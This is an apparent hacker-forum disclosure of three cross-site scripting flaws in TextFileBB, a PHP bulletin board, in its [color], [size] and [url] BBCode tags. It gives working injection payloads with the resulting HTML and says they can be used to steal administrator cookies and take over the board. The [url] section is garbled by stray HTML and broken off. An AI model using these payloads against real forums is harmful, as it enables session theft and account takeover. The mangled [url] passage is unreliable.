TextFileBB is a flat-file based bulletin board system written in PHP.

There are 3 different XSS vulnerabilities in this software at the moment, which I found about half an hour ago =D

Anyway, the XSS lies in these tags:
[color]
[size]
[url]


EXPLANATION:

Firstly, we'll explain [color].

Code:
[.color=#00'">0FFF] """xss [/color]
Would give us:
Code:
<font >0fff="" color="#000000"> """xss </font>
Therefore we can see that we actually are breaking the tag and that our last part (0FFF) is stripped (funnily enough I found this by typo.)

So, we need to do:

Code:
[.color=#00F"onMouseOver='alert(/xss/)' x="]h0n0[/color]
As this would give us:
Code:
<font onmouseover="alert(/xss/)" x="" color="#000000">h0n0</font>
We use the #00F to start the color (so that it IS parsed [attempted to be] by the parser), and break out of that with our quote - it'll be replaced with a space. The color will be left as #000000. I added the x="" attribute because I noticed it wouldn't render in IE for some wierd reason.

NEXT: [size].

This is basically the same as [color], but tad different.

Code:
[.size=7" OnMouseOver="alert(/xss/)]Clicky Here [/size]
We break out of the size with the first quote, and then use our MouseOver - we do not close the MouseOver ourselves because the parser will enclose everything in "".
Turns into: (something like)

Code:
<font size="7" onMouseOver="alert(/xss/)">Clicky Here</font>
LAST: http://.<br /> <br /> I don&#39;t think ...bcode_code -->Same as with [size], we break out of the href and then do not add a " to the end because the parser will do it for us.



USAGE:
TextFileBB stores user information in cookies, so you could steal the administrator's cookies and take over the board.


Credits: me =D

Shouts: digi7al64 - PrOtOn - Lockdown - WhiteAcid

Video @ http://dynxss.whiteacid.org/videos/T...0.16-final.rar :: 8mb